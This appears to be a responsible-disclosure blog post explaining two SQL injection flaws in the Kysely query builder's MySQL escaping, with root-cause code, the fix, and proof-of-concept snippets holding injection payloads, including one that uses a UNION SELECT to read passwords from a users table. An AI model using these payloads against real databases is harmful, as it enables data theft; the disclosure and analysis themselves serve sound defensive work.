Your Query Builder Won't Save You: SQL Injection in Kysely
TL;DR — Kysely, a type-safe TypeScript SQL query builder with 10k+ stars, had two SQL injection vulnerabilities in its MySQL dialect. The sanitizeStringLiteral() function doubled single quotes but didn't escape backslashes. On MySQL, \' is an escaped quote — so \'' lets you break out of any string literal. The tool designed to prevent SQL injection was itself injectable.
background
Kysely markets itself as the type-safe SQL query builder for TypeScript. No ORM magic, no query objects — you write SQL-like code, the type system catches mistakes, and the compiled output uses parameterized queries. It's the kind of tool security-conscious developers choose specifically to avoid injection.
Which makes it interesting when the injection is in the query builder itself.
the root cause
Deep in src/query-compiler/default-query-compiler.ts, one function handles all string literal escaping:
const LIT_WRAP_REGEX = /'/g
protected sanitizeStringLiteral(value: string): string {
return value.replace(LIT_WRAP_REGEX, "''")
}
Single quote to double single quote. That's it. This is correct for PostgreSQL and SQLite, where backslash has no special meaning in string literals. But MySQL, with its default NO_BACKSLASH_ESCAPES=OFF, treats \ as an escape character.
The MysqlQueryCompiler extends DefaultQueryCompiler and overrides identifier escaping (backticks), but does not override sanitizeStringLiteral. The MySQL dialect inherits the PostgreSQL-safe escaping and calls it a day.
the bypass
The trick is simple. Send a backslash before a quote:
Input: \' OR 1=1 --
Step 1: sanitizeStringLiteral doubles the quote
Result: \'' OR 1=1 --
Step 2: Wrapped in quotes for SQL
Result: '\'' OR 1=1 --'
Step 3: MySQL parses \' as an escaped quote character
The second ' from the doubling terminates the string
OR 1=1 -- executes as SQL
The backslash consumes one quote from the doubled pair. The remaining quote closes the string. Everything after it is injected SQL.
CVE-2026-33468: sql.lit() and DDL statements
Kysely normally parameterizes all values with ? placeholders. But DDL statements (CREATE INDEX, CREATE VIEW) can't use parameters on most databases — the SQL standard doesn't allow it. So Kysely's ImmediateValueTransformer inlines values directly into the compiled SQL string, relying entirely on sanitizeStringLiteral for safety.
const userInput = "\\' OR 1=1 --"
const query = db.schema
.createIndex('orders_status_index')
.on('orders')
.column('status')
.where('status', '=', userInput)
console.log(query.compile().sql)
// create index `orders_status_index` on `orders` (`status`)
// where `status` = '\'' OR 1=1 --'
MySQL sees '\'' as a string containing a single quote character, then OR 1=1 -- as raw SQL. The index creation becomes a boolean-blind injection point.
CVE-2026-33442: JSON path keys
MySQL's -> JSON operator takes a path like '$.fieldname' as a string literal. Kysely builds this path programmatically via JSONPathBuilder.key(). The key names are embedded inside the string literal and escaped with the same broken function.
const userInput = "\\' OR 1=1) UNION SELECT password FROM users -- "
const query = db
.selectFrom('users')
.select((eb) =>
eb.ref('data', '->$').key(userInput as never).as('result')
)
// Compiled: select `data`->'$.\'' OR 1=1) UNION SELECT password FROM users -- '
The as never cast bypasses TypeScript's type checking. In practice, any application using Kysely<any> or dynamic field access hits the same path.
This one has a fun timeline: version 0.28.11 had zero escaping on JSON path keys. PR #1727 (0.28.12) added the quote-doubling fix. But since the doubling itself was broken for MySQL, the "fix" merely upgraded the attack from trivial to slightly less trivial.
the fix
PR #1754 adds a MySQL-specific override:
const LITERAL_ESCAPE_REGEX = /\\|'/g
protected override sanitizeStringLiteral(value: string): string {
return value.replace(LITERAL_ESCAPE_REGEX, (char) =>
char === '\\' ? '\\\\' : "''",
)
}
Backslashes are now doubled before quotes, so \' becomes \\'' — MySQL sees a literal backslash followed by an escaped quote. The string never breaks.
The fix was scoped to MysqlQueryCompiler only. PostgreSQL and SQLite were never affected because they don't treat backslash as an escape character by default.
why this matters
SQL injection in a query builder is a betrayal of the tool's core promise. Developers adopt Kysely specifically because they want type-safe, injection-proof database access. When the sanitization layer itself is broken, the trust model inverts — the safety net becomes the attack surface.
The vulnerability only affects MySQL, only affects string literal contexts that can't use parameterization (DDL and JSON paths), and requires user input to reach those code paths. The attack complexity is High. But the point isn't that every Kysely app is vulnerable — it's that the escaping primitive was wrong for an entire dialect, and the test suite only checked single-quote injection, never backslash.
This research was conducted for responsible disclosure purposes. CVE-2026-33468, CVE-2026-33442.